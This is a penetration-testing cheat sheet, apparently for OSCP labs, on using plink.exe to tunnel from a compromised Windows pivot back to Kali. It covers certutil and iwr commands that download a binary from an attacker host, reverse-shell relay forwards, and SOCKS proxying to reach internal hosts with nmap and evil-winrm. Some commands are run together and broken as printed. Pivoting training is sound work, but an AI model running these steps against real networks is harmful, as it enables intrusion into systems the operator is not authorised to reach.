Plink — SSH Tunneling on Windows
Plink is the CLI version of PuTTY — a standalone SSH client for Windows. Upload to a Windows pivot when built-in ssh.exe is missing or you need PuTTY-style key handling.
Ctrl+F:
plink·plink.exe·-R·-L·-D·-N· reverse tunnel · SOCKS
OSCP use: Windows pivot with no OpenSSH → transfer
plink.exe→ SSH tunnel back to Kali (-R,-L,-D) to reach internal networks or catch reverse shells.
On Kali: /usr/share/windows-binaries/plink.exe
Get Plink on Target
# From Kali — copy to target
scp /usr/share/windows-binaries/plink.exe user@TARGET:C:\Temp\plink.exe
# HTTP serve + download on Windows
python3 -m http.server 8080certutil -urlcache -split -f http://KALI_IP:8080/plink.exe C:\Temp\plink.exeiwr -Uri http://KALI_IP:8080/plink.exe -OutFile C:\Temp\plink.exe→ File Transfer · Windows Tunneling
📌 Common Flags
| Flag | Purpose |
|---|---|
-l user | SSH username |
-pw password | Password (lab use) |
-i key.ppk | PuTTY private key (.ppk format — not OpenSSH) |
-L local:remote:port | Local port forward |
-R remote:local:port | Remote port forward |
-D port | Dynamic SOCKS proxy on Kali |
-N | No remote command (tunnel only) |
-batch | Non-interactive — no prompts |
-f | Background (after auth) |
Accept host key non-interactively:
echo y | plink.exe -l user -pw pass ...📌 Local Port Forward (-L)
Pivot forwards its reachable internal host to a local port on the Windows machine (or through SSH to Kali depending on direction).
REM Forward: connect to Kali, expose internal 172.16.0.5:80 via tunnel
plink.exe -l kali_user -pw password -L 8080:172.16.0.5:80 KALI_IP -N
echo y | plink.exe -l kali_user -pw password -L 8080:172.16.0.5:80 KALI_IP -N -batch📌 Remote Port Forward (-R) — most common OSCP
Expose a port on Kali that tunnels to the Windows pivot or through it.
REM Expose Windows RDP on Kali port 9090
plink.exe -l kali_user -pw password -R 9090:127.0.0.1:3389 KALI_IP -N
REM On Kali:
xfreerdp3 /u:Administrator /p:Password1 /v:127.0.0.1:9090
REM Reverse shell relay — pivot:4444 → Kali:4444
echo y | plink.exe -l root -pw toor -R 4444:127.0.0.1:4444 KALI_IP -N -batch
REM Background
echo y | plink.exe -l root -pw toor -R 9090:127.0.0.1:3389 KALI_IP -N -batchInternal hosts connect to pivot IP:forwarded_port → traffic arrives on Kali.
📌 Dynamic SOCKS (-D)
REM SOCKS proxy on Kali port 1080 via Windows pivot
echo y | plink.exe -l kali_user -pw password -D 1080 KALI_IP -N# /etc/proxychains4.conf
socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 172.16.0.10
proxychains evil-winrm -i 172.16.0.10 -u admin -p pass→ Tunneling > 📌 Proxychains — Setup & Usage
📌 Private Keys (.ppk format)
Plink uses PuTTY .ppk keys, not OpenSSH id_rsa.
# Kali — convert OpenSSH key to PuTTY format
sudo apt install -y putty-tools
puttygen id_rsa -o id_rsa.ppkplink.exe -i C:\Temp\id_rsa.ppk user@KALI_IP -R 4444:127.0.0.1:4444 -N -batch📌 Plink vs Built-in Windows SSH
| Plink | ssh.exe (Win10+) | |
|---|---|---|
| Install | Upload binary | Built-in |
| Key format | .ppk | OpenSSH id_rsa |
| OSCP | Older Windows / no OpenSSH | Win10 / Server 2019+ |
Built-in SSH tunneling → Windows Tunneling > 📌 5) PowerShell Built-in SSH · SSH Tunneling
📌 Quick Cheat Sheet
REM Remote forward (expose port on Kali)
echo y | plink.exe -l root -pw toor -R 9090:127.0.0.1:3389 KALI_IP -N -batch
REM Dynamic SOCKS
echo y | plink.exe -l root -pw toor -D 1080 KALI_IP -N
REM Key auth
plink.exe -i C:\Temp\id_rsa.ppk user@KALI_IP -R 4444:127.0.0.1:4444 -N -batch